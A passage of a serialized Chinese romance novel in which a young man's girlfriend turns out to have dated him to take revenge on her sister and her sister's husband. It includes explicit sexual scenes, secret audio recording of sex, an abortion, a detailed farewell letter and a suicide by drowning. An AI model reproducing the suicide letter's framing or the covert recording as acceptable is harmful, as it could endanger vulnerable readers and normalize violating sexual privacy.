图片载入中

梅兰菊竹之凉秋、冷冬(02-05)

特大字】 【大字】 【中字】 【小字

(二)

我不是一个男子汉,只是答应了女人的事还是尽力做到。那天之后我原谅了秋菊,但从没说要跟她交往,她的手,是不知从哪时候牵上来。

我和秋菊交往了,也许,我们是在交往。

夏兰的事,我是极力不提起,而在婚后她与秋菊的来往也似乎不多,过往的一段情犹像两个人之间的一边禁锁,非必要时尽量不碰。但秋菊似乎对此甚感与趣,经常旁敲侧击地问我和夏兰的往事。

“你和家姐…做过了没有?”

“喂喂,怎么问这种问题?”

“答我,有,没有?”

“有…”

“果然…”

“生气吗?”

“才没!”

“那便好…喂,拉我去哪里?”

“开房!做爱!”

我和秋菊上床了,不像夏兰的那时候,不是节日,没有纪念,是一个平凡得连几号也忘记的日子。

“我不是处女,你会介意吗?”

“怎么会,我也不是处男。”

“我知道,对手是家姐嘛!”

“这种时候别提旧事好吗?”

“我偏要提!快说!你们第一次怎样做?换了多少姿势?做了多久?”

“这种事没可能告诉你吧?忘记了!那么久的事通通忘记了!”

“不!我要知道,你一定要告诉我,是全无遗漏的一一告诉我!”

再过份时,秋菊竟然问这种问题。

“你们有没拍影片?”

“影片?”

“嗯,那些上床的,你们有没拍下来?”

“上床?当然不会拍那种东西!”

“很奇怪吗?很多情侣也有拍,是人生的纪念嘛!”

“你这么多事干什么?而且看到那种东西不会吃醋吗?”

“我才不会!我只是想知道你们的一切,我不想有些秘密是我的姐姐比我更清楚!”

“好吧,我告诉你,真的没有,一分钟也没有!”

“嘻嘻,这样吗?那我赢了。”秋菊漾起奸滑笑容,扬着手上的电话。

“这是什么意思?”我不明白,可是当看到录音一项亮着红灯的时候,顿时觉得不可思议:“你偷录了?刚才我们做那些事…”

秋菊伸着舌,脸上是捉弄别人的表情:“只是录音啦,今天日子那么普通,很快便会忘记,我要留下纪录,知道陆秋菊是什么时候向程仁付托终生,留待日后结婚八十周年再拿来回味。”

看到秋菊甜丝丝的笑容,我也没怎生气,只是叮咛她小心保管,始终是个人私隐,给别人听到便不好。

“只录音好像没什么意思,不如下次我们拍影片吧?”

“拍影片?给别人看了怎么办?”

“没关系啊,小心一点便行,万一真的看到便看到啰,反正人家身材也不差,欣赏一下没所谓唷。”

“原来你这样豪放的吗?”

“我想跟你有一些记忆,是你跟家姐没有的。”

秋菊在感情上的坚持,令我觉得她是十分看重我过往跟夏兰的关系,女人始终是一种喜欢比较的妒忌生物。我不想将她跟夏兰比较,秋菊不是初恋情人的代替品,永远不是任何人的代替品。

到秋菊问完,我也不经意地提起旧情人的近况。

“你姐姐幸福吗?”

“嗯,姐夫人蛮好的。”

“那便好…”

“还想她吗?”

“没,只是有点事不明白。”

“她不告诉你,总有她原因。”

“也是,她是个好女子…”

“………”

“怎么了?吃醋吗?”

“没有!”

生长在同一家庭,但夏兰和秋菊的性格可谓南辕北辙,夏兰是那种心思细密、顾后瞻前的女人;而秋菊则很冲动,火上来时是什么不顾、做了才算的类型。

有一次我问她,如果当日在酒店我选择跟你做爱而又不原谅你,你岂不是白给我玩了?当时秋菊的反应是:白玩就白玩,谁怕了谁。面对这样的女孩在床上不好好教训,是不会让她知道自己需要反省。

“谁怕谁吗?知道错了没有!”

“知、知道了,轻一点,会坏掉的!呀!呀!”

每次完事后,秋菊总提起夏兰,总跟她比较。

“家姐有没叫过你老公?”

“只…一次…”

“一次也是有!老公!你是我的老公,程仁是陆秋菊的老公!”

越过了最后一步,我和秋菊的关系愈见亲密,而她亦有意无意地提起,希望我去拜会她的父母。这是一个女孩子很平常的表现,当视对方为可发展伴侣,便有给家人知道、奠定双方关系的念头。

对此我虽然有过一次恋爱经验,但仍是感到陌生,当年我只是一个未成年的学生,夏兰无法把正跟这样一个小孩子拍拖的事向父母报告,故此我是没有见过她的爸爸妈妈。

我没打算推托秋菊的要求,事实上我认为亦是时候,这时我已经是毕业的大学生,跟秋菊是有着相称的身份,我们可以光明正大地交往,不像当年和夏兰时的名不正言不顺。

可是令我踌躇的还是夏兰,我没有恨她,但心中那条刺仍然存在。我不知道可以怎样再次面对她,而且更是以妹妹男朋友的身份。偶尔一次,我问秋菊有否告诉她姐和我交往的事,她摇摇头,说不知怎样问口,我明白秋菊心情,恋上姐姐的旧男友,应该是一件颇为吊诡的事情。

“我也没想过永远不让家姐知道,找个机会便跟她说清楚。”秋菊叹口气,她表示会找个合适时机,在大家不会尴尬的情况下公开真相。我过去和夏兰交往的事陆家上下没一个人知道,要过的,其实只是夏兰一关而己。

当夏兰知道秋菊的男友是我时会有如何反应?而我又怎样以失败者身份面对抛弃自己的女人?我不敢想,只得见步行步。

可是要来的始终要来,过一阵子是秋菊祖父陆武功的大寿,作为固定男友,我是很应该出席给未来爷丈人祝个寿。秋菊认为这是顺水推舟的好机会,家人齐集,加上丈夫也在场,夏兰纵是惊讶也不会说些什么,大家只要假装不相识便顺利过渡了。

我不讳言这是比较没那么刻意的方法,但原来要再次面对夏兰的阻力是比我想像中大,那段时间我很苦恼,不知道在当日可以保持怎样的表情。我觉得很难堪,是比知道自己已被遗弃的当日更难堪。

秋菊是个机灵的女生,当然亦看出我的烦恼,女友表面上是个很强来的人,但相处久了,你会知道她其实很会体贴别人。我想她会体谅我的处境,向她提出了避席的想法,没想到被她一口拒绝。

“不行!我已经答应了爷爷会介绍男友给他认识,不可能突然说不去。”

“但你应该知道…”

“我当然知道,那又怎么样,都已经是过去了的事,家姐嫁人了,你也有了新女友,以前的事还提来干么?”

“我没说要提,但大家始终会很尴尬,始终我们…”

“你们什么?你们上过床?那尴尬的应该是家姐而不是你吧?这种事女人才是吃亏。”

“你说到哪里去了?我从来没有打算在夏兰身上拿了什么令她吃亏。”

“那更好啊,大家没有拖欠,更可以不做情侣做朋友。”秋菊指着我说:“那个是我姐姐,你不可能一世不见她,我也不可能以后不认她是我姐姐,事情总要面对。”

“我明白…”

“明白便好,那决定了,别再扭扭捏捏的。”

“嗯…”

用完硬的,秋菊也会用软的替夏兰说话:“你不用躲避家姐,你们交往时她也经常在我面前提起你,说你是个好男生,不然我也不会主动接近你。”

“好男生,却一声不响起跑了。”我苦笑,秋菊安慰我道:“那分手这种事,女孩子很难说出口的嘛,待它慢慢淡掉也是一种方法。”

“慢慢淡掉,会吗?”

“你这是什么意思,你没淡掉吗?难道说现在你还喜欢家姐?”

“哪里,她已经是别人妻子。”

“你知道就好,我的姐姐已经是别人妻子!你可不要对她还有什么想法!”

我没打算跟秋菊争论什么,我这样的一个男人,永远也说不赢女人。

但日子愈近,我的心情便愈难受。大学毕业后我找了一份文职,如何谈不上高资的工作,如果谈不上出人头地的身世,将要面对成为上市集团副主席夫人的前女友,那份自卑感使我感到非常痛苦。我骗了自己,也骗了秋菊,我以为可以带笑回望往年情,但其实我不能。

终于在大寿的前一天,我再次向女友提出放过我的请求,我真的不想面对,我认为如果秋菊真心爱我,是会明白我的心情,而不会把心爱男人推向难堪的境地。

“好吧,既然真的这样难为你,就算了。”

“不是难为,只是…”

“我已经说了算,就不要再惹我。”

“我只是想你知道…”

“我什么都知道!无论我怎样努力,也没法使你忘记家姐!”

“秋菊…秋菊!”

女友夺门而去,我追了两步便停下来,这种时候再说也没有意思,大家冷静是最好的解决方法。

这个晚上秋菊没有找我,接着一天也没有,我躲过了面对夏兰的危机,也躲过了让自己面对失败的懦弱。

两星期后,秋菊给我发了讯息,内容很简单,鸡排饭还是猪排饭,我回了汉堡饱,那个晚上我们在麦当劳喝咖啡。

我们和好了,也许根本没有吵架,只是有点意见不合,至少我是这样认为。因此一个月后秋菊说要跟我分手,我是傻眼了,就是因为那一件事?就是因为我想留给自己一点点作为男人的尊严,你便要离开我?

“不是这个原因,是我们性格不合!”

“性格不合?那提出来慢慢改不就好了?”

“没得改的,分还好了!”

“你说说道理好吗?秋菊…”

“我就是不讲理,从第一天起,就不讲理!”

我是没法说服秋菊,她说的不错,她是一个不讲道理的女人。爽约的事我自觉是对不起了秋菊,这个月里我千依百顺,尽力去对她好,希望作出一些弥补,没想到换来这个结局。

“好吧,既然你坚决要分,我不再强逼你,会尊重你意愿。”

分手的那段时间,我的心态是很扭曲,尝试反省自己是否真的做错了什么。那天勇敢出席,是不是就可安抚我这小女友,只要装作不认识的笑着向夏兰说一声“幸会,姐姐”,那么我和秋菊的感情是否便可以十全十美?

两个人的相处,有问题是要共同面对,秋菊这种单方面的决定便我愤慨,钻到牛角尖时甚至觉得她与其姐是一模一样,同样是唿之则来,挥之则去的女人。

但回心一想,与夏兰一段感情对我来说是一种障碍,对秋菊而言何尝不是?恋上自己姐姐曾一起的男人,难道秋菊便不会有压力?从过往偶尔不经意地作比较的小事来看,也许秋菊是认为我爱她不及夏兰。我一直强调她不是代替品,但其实可能不自觉地用作治疗往年的情伤。

我对秋菊从来没付出过什么,是她主动接触我,所有都是她在献出,如果说对夏兰无恨,那对秋菊便更不应有怨。

等她下了气再来找我吗?或像夏兰一样,无声无色地消失在我的生命里。

也许当年我即使尽力,亦是未能挽回夏兰的心意,但现实是,我是没有作过任何努力。

如果这是一根插在我心房多年的一根刺,我是否应该亲自拔出来,纵然有鲜血猛流的危险,也要一试。

“唿…”我吁一口气,拨起前女友的电话,一如过往每次冷战,她没有接,看来不负荆请罪,是难以逗回这小丫头。

‘我喝了很多才有勇气找你,别要害我白受苦!’

知道了,我也提了很大勇气才去找你,别要害我失望而回。

和夏兰交往的时候,我曾尽男友的职责,几度护送女友回家,每次都只送到门口,从来没踏进过陆家半步。至于和秋菊虽然多次谈及要跟其父母见面,但总未成事。也许今天是时候了,是我不能再收藏自己的日子。

我去了陆家,独自来到曾多番做访的门前。是秋菊的家,亦曾是夏兰的家。

我没有正式拜会过秋菊父母,突然到访,是一件颇厚脸皮的事情,但事到如今也没办法,硬着头皮按下门铃,迎门的是她们的母亲春梅。

“伯母你好,抱歉这种时间打扰,我叫程仁,是秋菊的…朋友,请问她在不在家里?”

秋菊母亲的表情有点惊奇,但还是招待我进去,我想她已经猜到我是她女儿口中要给他们介绍的男友。在那里我没有看到秋菊,却看到了夏兰。

是相隔了几年后,身份已经完全不一样的往年女友。

夏兰看到是我表情稍微讶异了一下,但真只是一下,便迅速回复和睦微笑,她向我点头示好,仿佛是一个从未认识的陌生人。

我的心好痛,原来经已忘记的女人,是可以令自己如此心痛。我咬紧牙关,尽量不泄露自己的心情。我喝过伯母给我斟的热茶,她表示很不巧秋菊出去了,没说几点回家,问我要否致电给她。我说不必了,因为这一秒里我的心思已经被夏兰的身影弄得异常凌乱,不知道可以跟秋菊说些什么。

对了,星期天的晚上,外嫁女回家跟父母吃饭是很平常,我认识的夏兰是个孝顺女,即使多年后亦没改变。

我在她们家里只坐了一段很短的时间,期间和夏兰完全没有交谈,她在织着毛衣,表情从容。我如坐针毡,闲聊一会,便向秋菊的家人道别。

“伯母,谢谢款待,那么…”

“时间不早,妈,我也回去了。”就在我刚要出门的时候,夏兰忽然从沙发上站了起来,我对她的这个举动很意外,呆得不懂反应。夏兰去到门前穿起高跟鞋,跟母亲叮咛两句便跟我一同出门,我的心一下子跳得很快,我不知道夏兰的用意,不知道她是否有什么想跟我说。

但她没有,在整段等待和乘搭升降机的时间也没发言,空气就如死寂一般静谧,直到大家踏出大厦门口,她才回头跟我微笑道:“好好照顾我的妹妹,再见。”

没有叫唤名字,没有解释旧事,没有谈及近况,是完全没有留下过去任何一个片段的再会。

我深吸一口气,真蠢,难道我在期待什么,本来就应该是这样。

我在街上流连了好一段时间,脑海不其然忆起当年跟夏兰快乐的日子,她仍是跟当年一样的美,应该是比当年更美。

“唿…”本来打算安抚秋菊的晚上,被夏兰的一脸便完全打乱了,难怪秋菊会生气,难怪她说我没法忘记她的姐姐。

这不是一个适合向女友提出复合请求的晚上,我没有尝试再次拨起秋菊的电话,没想到她却坐在我的家门前。

“去哪里了?”秋菊以一种很不好的语气,似乎是等了不短时间,我搔着头道:“去了你家…”

“哼,分了手去我家干什么?”

“那分了手你又来…我家…”

“好啦,不欢迎我走便是了!”

“欢迎…当然欢迎…”

我慌忙从口袋拿出锁钥,招待女友…是前女友进屋。她嘟着小嘴,似乎气仍未下。相处快一年,与秋菊吵架的次数多不胜数,对逗回她我还是有点自信。你不给我见我没你奈何,但只要给我见,我总能使你破啼为笑。

没想到,今次我错了。

我打开冰箱替秋菊倒了果汁给她好好消气,顺便不经意地报告那应该算是好消息:“我刚才在你家,碰上了…你姐姐。”

秋菊的眼瞪有些大,但瞬间理解这天是夏兰习惯回家探望父母的日子,脸色沉隐下来。我呷一口热茶,带笑道:“这不是很好?我们一直烦恼的事这样便解决了,她没说什么,还叮咛我好好照顾你,这是最好的结果吧?”

秋菊垂着眼,幽幽的道:“都已经分了手,这种事还有什么关系?”

“喂,你不是认真分手的吧?我承认那次缺席是我不对,刚才也跟伯母道歉,就是有罪也不致是死罪,给一次机会,放我一马好吗?”我的态度嘻皮笑脸,我熟知秋菊性格,牢骚一番后便必然装作不情愿的原谅我,大事化小,小事化无。

可是今天一切都是那么叫人吃惊,彷如上天要把一生人所有的惊奇大挑战,一口气给我玩过够。

“你真的想跟我一起吗?你知道我是什么人吗?”秋菊的语气忧郁,我这时仍未知道严重,轻佻的说:“你不就是陆秋菊,陆家二女,上个月刚满二十三岁,水瓶座,还有…是大美人一个!”

没待我说完一番废话,秋菊自行说出此话:“我是高副帅的初恋女友。”

“哈哈,我就知道…什么…高副帅的…初恋女友?”我愣住当场,一条冷汗直冒至耳旁,我没想到女友给我炸弹,爆炸力居然是这么惊人。

秋菊点点头,继续语气平静的独自说:“对,是抢走你女友的高副帅,亦是我家姐陆夏兰的丈夫。你要知道吗?我一直隐瞒的一切。”

(三)

“对,是抢走你女友的高副帅,亦是我姐姐陆夏兰的丈夫。你要知道吗?我一直隐瞒的一切。”

我是吃惊得不懂反应,只有呆呆答好。秋菊吸一口气,徐徐说出跟高副帅的一段情。

“副帅是我前辈,我们在中学时已经认识,在高中毕业前,更成为了情侣。”

秋菊表示,高副帅比她大四年,因为长得高大英俊,家底也好,一直是学校里众多女同学倾慕的白马王子,而秋菊亦是其中之一。幸运地,在建校纪念日的庆祝会上,她邂逅了这位大家都渴望得到宠幸的金钻校草。

“当时我们发展得很顺利,交往一个月,已经把女孩子的所有都付托给他,而他也对我很好,使我对这份感情十分有信心。但因为大家都是学生,而他父亲又是比较传统思想的上一辈,不希望儿子在学校里结识女朋友,所以我们的事一直很低调。副帅答应我,在我十八岁的时候便会给他的家人介绍。我很相信他,相信他不会骗我。”

我吸一口气,我与夏兰的地下交往,原来高副帅和秋菊也曾经历。

“后来家姐大学毕业,当时她烦恼着找工作的事,刚好副帅表示他父亲的公司在招聘新人,我介绍了家姐去面试,没想到他们这样就搭上了。”秋菊含着泪说:“我知道的,家姐长得比我漂亮,人也聪明,副帅会看上她很正常,但我没想过他们会这样快,才认识半年便堕入爱河。也没想过他会这样绝情,要求我成全他和家姐。”

“秋菊…”

“我很伤心,有想过向大家公开一切。其实家姐在这之前是知道我和副帅交往的,我们感情很好,两个人都没秘密,她告诉了我正跟一个高中生交往的事,我也说了跟副帅是一对,但结果她背叛了我,明知道那个是妹妹的男人,还是把他抢走了。”

“夏兰抢走你的男友…”我不相信夏兰会是做这种事的女人,但秋菊没有必要冤枉她的姐姐。

“我跟副帅吵了很多遍,他总安抚我其实最爱的还是我,跟家姐交往是因为他的父亲很喜欢家姐,不想逆父亲的意。我当然不会相信这种事,但我真的很爱他,明知道是假还一直忍受下去,甚至继续和副帅暗中一起。直到他们要结婚了,我才知道一切已经太迟。”

“秋菊…”

“那时候我知道说什么也没用了。副帅跟我说,一个男人有几个女人很正常,尤其是像他们有钱人,如果我不介意可以继续当她情人。我受够了,我才是正选,就是要当情人也是那个女人去当!”

秋菊眼带怨恨,直唿夏兰为那个女人。

“他们结婚的那天,看着本来应是自己的婚纱穿在家姐身上。我决心要报复,我要这对幸福的夫妇遭受到最恶毒的诅咒。过去和家姐感情还好的时候,我知道你是她的男朋友,我接近你,目的就是令家姐那不能被人知道的秘密在众人前被公开,是像炸弹般狠狠地爆炸出来。”

秋菊盯着我说:“我知道家姐心里还是有你的,在家里的时候我曾见过她偷偷拿你的照片来看,而婚礼当天,她也有对着你的照片掉眼泪。”

“夏兰对着我的…照片落泪?”

“对,但这一切、都敌不过当上市集团未来主席的妻子宝座来得吸引,家姐最终还是选择了副帅,那既然她抢走了我的男人,也让我来玩她的男人好了。我装作和你交往,每次到你家里,便找寻过往和家姐可能有过的亲蜜照和影片,也用各种方法问你跟家姐的性生活,并录下音,我打算给副帅听听,他心爱的妻子过去是怎样给别个男人玩弄!”

我抽一口凉气,秋菊每次问的问题,和要求我留下和她的纪念,原来目的是用作侮辱夏兰。

“我想这不会让他们离婚,但足以打击他俩的感情,副帅是个大男人,不会忍耐妻子是破鞋的侮辱。我很爱他,亦很恨他背弃了我。”

秋菊说出当天替祖父祝寿的事:“那次我坚持要你去爷爷的寿宴,是因为我认为那是公开一切的最好时机。我想像当家姐看到初恋情人出现面前时的吃惊表情;

想像当副帅看到那让他穿旧鞋子的男人,到底是一个怎样的人时那愤恨的表情。“

“但结果你没有去,我很生气,布置了一段时间的计划没有成功,而在你身上也找不到什么可以羞辱家姐的证物,我不想再浪费时间在你身上,打算借这个机会顺势与你分手,但天意弄人,在接着的几天里,我发觉我怀孕了。”

“你…怀孕…”

“我当然知道那是副帅的孩子,亦知道他一定不会给我生下来,但我真的很想要,想要留下跟他的血脉。我有一个想法,也许可以让你当个便宜爸爸,做这个孩子的父亲。于是我回去找你,装作跟你复合。”秋菊苦笑道:“我明白自己是很自私甚至恶毒,但我真的很爱副帅,为了他我愿意做任何事。”

“但那一个月里,你对我很好,这使我很内疚,我在欺骗一个真正对我好的男人,而我爱的那个人就一直没当我是人,只是一件发泄欲望的玩具。然后最令我死心的,是前阵子妈妈告诉我好消息,说家姐怀孕了。”

说到这里,秋菊滴下泪儿:“这是上天跟我开的最大一个玩笑,我俩竟一起怀孕了。那个才是他的儿子,我肚子里的算什么?生下来也不能用他的姓氏,甚至永远不会被承认,我很傻,我真的很傻,用尽力气,去追求一段根本不可能得到的爱情。”

秋菊泣不成声,我心则乱成一团,脑袋翁翁作响,这打击太大了,原来秋菊从来没有爱过我,我只是她用作报复被弃爱的工具。所有的事,都只是她设的布局。

‘我喝了很多才有勇气找你,别要害我白受苦!’

‘我喜欢你!’

‘我只是想知道你们的一切,我不想有些秘密是我的姐姐比我更清楚!’

假的,一切一切,每一句话,全部都是假的。她的笑,她的哭,她的爱,通通都是假的。

这是比夏兰离去更伤透我的事,当你知道一个曾说爱你的女生原来别有用意,那种再一次被背叛的心情并非第三者可以明白,我的心很痛,是锥心之痛。很陌生,这个女孩真的陌生。

“知道了真相,想狠狠打我一顿吗?打吧,我今天来,就是打算给你打我。”

秋菊抬起头,眼里悲凉,她的手垂下,没半点反抗的意思。

我看着这完全弃甲曳兵的女孩,觉得她很可怜,也很软弱,被感情折磨得不似人形,为了单一方的爱奋不顾身,即使粉身碎骨也在所不惜。

错的是你吗?如果爱一个人是错,那你无疑是错了。

这算是下流吗?那相比起来,不打扰爱人争取未来的我是否很高尚,还只是一种更软弱百倍的表现?

我叹口气道:“你的意思是,你是从来没有爱过我?”

秋菊没有回答,只点一点头。

我长唿一声说:“明白了,所有的谜终于解开,我就奇怪走什么狗屎运,突然有个小美人主动投怀送抱,现在终于释怀了。”

“阿仁…”

我自嘲道:“不用安慰我,自己知自己事,我不是一个会有女生喜欢的男人,这点我很清楚。”

“不是这样的,你人很好,只是我…”

没让秋菊把话说完,我续道:“我没事,我的好处是有自知之明,不会被这种事打击到,反而已经被抛弃了一次,也不差多一次,不过你说你半点没爱过我,好像有点说不过去吧?”

“真、真的没有,我爱的便只有…”

我再一次截住她的话:“那你为什么把所有事都告诉我?”

“这…”

“是良心发现?不想再骗这个可怜虫,但这样也算是爱的一种呀!对一个完全没感觉的人,才不会管他的死活吧?何况我们已经分手,以后不见便可以了,你是没必要向我坦诚,这就已经证明你心里有我,是很、爱、我。”

“你臭美啦,我只是看到你又打电话来很烦,不想再给你缠着才告诉你的。”

秋菊嘟着嘴不满道,我自恋说:“是缠着吗?但我觉得你跟我一起事是很快乐啊,至少每次做爱都有高潮!”

“才、才没有!那都是装的,根本一点也不舒服!”秋菊脸红大叫,我失望道:“原来也是装的吗?好吧,那以后我要加倍努力,把你干出高潮来。”

“谁还会跟你做?我们都已经分手了!”

“这不算分手啦,如你所说,过去都是假的,我们是没有真正交往过,这正好,没经过努力得到的也没意思,就让我程仁从明天开始,好好追求陆秋菊吧!”

“你傻啊,怎么说这种话,你受不了刺激吗?”秋菊被我反常的话吓怕起来,我拍拍胸膛:“我才没有,窈窕淑女,君子好逑,既然给我知道陆秋菊是一个如此情深的女子,自然更不可错过,要好好追求。你有权不爱我,但没权阻止我爱你,我会努力,总有一天能够感动你。”

“我不知道你在胡说什么,我不会跟你一起疯。我走了,要说的都说完,以来别来烦我。”秋菊作个不耐烦的表情,从椅子上站起,我笑问道:“要我送你回家吗?”

“不用!”

“也是,我还没追到手,没有送女友回家的道理,明天吧,明天开始会展开攻势!”

“你好烦啊!”

秋菊没有理我,半生气的自行离去,到她走后我再次坐回木椅。唿,这个反高潮实在太爆,我需要时间整理一下乱过不堪的思索。

我不否认刚才的话是包含着安慰秋菊的意味,让她知道自己亦是一个值得爱的女人,不必纠结在已成定局的感情上。这个晚上我想了很多,躺在床上,脑里不断浮现跟秋菊相处的点点滴滴,犹如被困在找不着出路的爱情迷宫中。

可是在闭目沉思间,突然我察觉到床边站着另一个人,是秋菊!

“秋菊?你怎么?”我惊讶不已,她教训道:“你这个人真的很大意,我出去时门没关上你也没发觉,有贼进来怎么办?”

“我家有什么可偷,不过正好给女贼进来了。”我陪笑道,秋菊一脸平静,坐到床边默默的看着我道:“你刚才说的…是真的吗?”

“当然是真的,我程仁是会拿这种事来开玩笑的吗?”

“为什么你可以这样?为什么你知道我是一个这样的女人,还说要追求我?”

“为什么?不就被你感动了,而且过往一起的日子我也很快乐,不想因为这种小事而失去这么好的一位女孩子。”

“小事,这种算是小事吗?”

“当然是小事,你认识高副帅时才中学生,根本就是豆芽恋,这不叫小事,怎样才叫小事了?”

“但我所做的…”

“没错,你也许是骗了我,但我也没什么损失,还有了一年多快乐的日子,也便不跟计较吧,我现在要做的是如何延续这种快乐,直到一生一世。”

“你刚才没听我说,我怀孕了,肚里有别个男人的孩子,连这样你也可以接受吗?”

“你就别一口咬定是高副帅的,我也有跟你做过,说不定是我的。即使不是,那只要是我最爱女人的孩子不就好了吗?有必要那么计较?”

“傻瓜…你这个傻瓜…”秋菊的眼里尽是泪水,亮晶晶的随时掉下,我替其眼角一抹,柔声道:“别多想了,好好休息,明天又是新的一天。”

“嗯,我今晚在这里睡,可以吗?”

“美女共枕,求之不得,当然可以!”

秋菊默默钻入被窝,我欢喜地拥着依人,一身暖洋洋的柔美娇嫩,细腻动人。

“谢谢你,阿仁…”

这是秋菊最后一句,对我说的话。

次日一觉醒来,秋菊已经不在身旁,迷迷煳煳地梳洗刷牙,餐桌上放了一份精致的早餐。

“咦,会做早餐啊,看来小妮子给我的真情感动了!”这还是秋菊首次在我家做早饭,我老实不客气,拿起筷子试试味,是咸了一点,味道有待改进,但甚有潜质,多煮两次相信一定令人满意。

“说来她到哪里去?这么早上班了吗?”我边吃边自言自语,秋菊在我家睡了一晚,上班也要替换衣服,也许不想吵醒我独个先回家了。想到这里我没怎样在意,吃完了换件衣服,也是工作的时间。

可是就在刚要出门的时候,我在枕边看到一封接得整齐的信纸,拿起一看,是秋菊的字迹。

“写情信了?哈哈,这丫头真要的从最初步做起?”

我脸带笑意翻开信纸细读,内容是令人心里淌血的可怕。

“阿仁,起床了吗?有没吃早餐啊,我是第一次男人做饭,你一定要全部吃完啊,不然不放过你的。

昨天跟你说的话,很意外吧?我也很意外呢,你居然跟我说那样的话,是很开心,也很感动。我要再次谢谢你,谢谢你连我一个这样的女人也愿意包容。

但可惜,我是原谅不了自己,当听到你的话,我是更内疚了,我不是值得你爱的女人,永远不是。

其实我还有一件事没告诉你,我肚里的宝宝在跟你分手后的一天打掉了,那不是一个应该生下来的孩子,既然要他永远不能抬起头做人,一世也不能跟父亲相认,还不如不要他受苦好了。

杀死自己孩子的感觉是很可怕,这些日子我一直在哭,每个晚上都会做恶梦,不断想起那被拿出来的小小一个生命,是属于我孩子的生命。

另一件令我感到很惭愧的是,在我怀孕初期,家姐很早便留意到,她恭喜我,告诉我很多需要留意的事情,那时候我发觉我恨的女人,是关心我的姐姐。无论我怎样怪她,怎样恨她,她始终是我的姐姐。

但有一刻,我曾经想过要她死。

我没法原谅自己,纵使所有人都原谅我,我还是没法原谅自己,对不起,你说要追求我的事,我不能答应了,你对我的爱我是没法给你回应。我将要去一个很远很远的地方,去跟我的孩子相聚。我知道这是逃避,但此刻我真的只能选择逃避。

不要找我,不要为我伤心,也不要挂念我,可以的话,我希望你不要把昨天的话告诉家姐和副帅,他们始终是我爱的两个人,我希望他们可以得到幸福。

我选择以这种方法离开,也许我的家人会误会你,我留了另外一封信,如果有需要请交给他们,他们读了会知道跟你无关,对不起,直到最后一刻也要麻烦你。

放在书桌那只随身碟储存了过往我们的录音,你可以把它烧毁,那是不应该留在世上的东西。

阿仁,我自己也不知道有没爱过你,但你是我在这世界上最后一个想诉心事的人。希望你早日忘记我,也代我的姐姐向你道歉,我们都伤害了你,我们都是自私的人,对不起。

那么再见了,谢谢你,阿仁,谢谢你。

祝安好。

陆秋菊绝笔“

我看到这封信浑身打震,猛然翻开另一封,是秋菊向她家人道别,和叮嘱夏兰照顾其父母弟妹的信。

自杀!秋菊要自杀!

“秋菊!!!!”

我像疯了一样冲到街上,跑遍附近所有街道,慌不择路下,颤抖地拨起那多年没有联络过的电话号码。我的手机里没有储存她的号码,但那几个数字,我是一生也不会忘记。

对方接了,我急如热锅上的蚂蚁:“是小兰吗?不好了!秋菊要自杀!”

“什么?”

听到这个消息,陆家上下一片慌乱,包括高家也四出找寻秋菊会有可能去的地方。我们亦报了警,但无论怎样努力,也完全没有发现。这一天,大家都在焦急慌张下渡过,拨打了无数次秋菊的电话,发了无数个相劝的留言和讯息,祈求有奇迹出现,期望女孩会回心转意。

“不会有事的,一定不会有事的。”我知道秋菊在跟我开玩笑,她从来是个喜欢捉弄别人的女孩。把大家吓得半死,便会笑笑现身,并作个鬼脸的说好玩不。

然而全部希望,都随着次日在海面打捞的尸体而变成绝望。

“秋菊…”

那些年,我二十三岁,曾以为终身伴侣的女孩离我而去,仿佛把今后的快乐也一起带走。

微凉的晚秋,随着爱的别离告终。

(四)

《冷冬》

“杀人凶手!”

再次看到冬竹,是一年后清明节前的一星期。

秋菊的丧礼,陆家不许我以任何关系的身份参与。我没有按照秋菊遗愿把信交到他们手上,我不希望影响夏兰现有的生活,不希望凭着半点线索,令任何人联想到秋菊在生前曾经与高副帅有过感情上的交葛。

陆家上下都认为秋菊的死,是因为跟我感情出现问题而自寻短见,就是她的最后一夜亦是我家渡过,我是害死秋菊的元凶。对此我不会怪责任何人,事实上我也自觉是我的责任,如果当日我能以更好的方法安抚秋菊,也许能改变她的心意。那自以为开解她的说话,反倒徒添了她对自己的内疚。

秋菊的死,我是责无旁贷,这是无可否认的事实。

我没有颜面再见陆家的任何一个人,他们痛失了心爱的女儿,一切指控和责难都可以理解,换了是我也一定不能原谅害死亲人的凶手。

亦因此我挑选了一星期前的日子拜祭秋菊,没想到还是碰上了她的妹妹。原来自二姐过世后,冬竹每个星期都会替秋菊清理墓地,每个星期,都插上她生前喜欢的白菊花。

说是再次看到,其实我只见过冬竹一脸。当日拜访陆家的夜晚,身穿居家睡衣的冬竹曾好奇出来看来人是谁,但只看了一眼便立刻回到房间,故此我对她的脸是无甚印象。

但她清楚记得我,是害死她二姐的男人。

我没有面目说些什么,上前跪下向秋菊拜了三拜,插好鲜花便自行离去。冬竹在旁边冷着白眼,直到我离去时才冷冷的抛下一句“杀人凶手”。

我没有回头,默默承受女孩的咒骂,我完全体会冬竹的心情。秋菊的墓地打理得很好,没有半点杂草,墓碑也清洁干净,可以看出这位妹妹是有多么疼爱她的二姐。如果给秋菊看见,我想她一定会后悔,这世界还有很多爱她的人,要走的一了百了,剩下仍活的饱受痛苦。

我没打算和陆家上下在往后日子有任何接触,但不如是否冥冥中自有主宰,我跟他们还是有着割不开的缘份。当然一如当年秋菊,后来我知道那并非偶然,冬竹是主动接触我。

秋菊离去的那段时间我未能从伤痛中抽离,每个闲下来的时间也会忆起她的片段。为了麻醉自己,我选择以工作填满每分每秒,不让自己有太多胡思乱想空间。

大学时我主修语言科,成绩优异,毕业后在工余继续进修师范,一年后获得任教的资格。我到了一间以高中学生为主的晚间补习学校兼职教师,加上日间工作,忙得不可开交。

“各位同学,我是这班的老师,姓程为仁,今后负责任教各位。”我向新开的一班自我介绍,一如过往,程仁这个名字惹来闹堂大笑,更有同学问我:“老师,你的英文名字是否Lover?”

我笑着回答:“这位同学十分聪明,正是。”

班上又是大笑,这时候一位女同学扬声说:“不是Murderer吗?”

所有人一同静下,那女生继续冷然道:“杀人凶手,不应该是Murderer?”

我望向女孩,是冬竹。

我愣了一愣,惊讶竟会在这里碰上她。班上同学对女孩的说话窃窃私语,冬竹从座位站起,质问我道:“我有说错吗?老师你有没有杀过人?”

“哗,是杀人啊。”所有人听到这动词一同起闹,我沉住气,微笑道:“这位同学,我没有杀过人。”

“是吗?玩弄女性害她自杀,跟杀人有什么分别了?”冬竹咬着我不肯放,我一时不知道怎样应对女孩的话,气氛变得十分尴尬。冬竹达到羞辱我的目的,没有继续追问下去,但每次课堂上,总要难为我一番方可罢休。

“老师,欺骗女人感情的英语怎样写?”

“老师,不负责任的男人应该称为什么?”

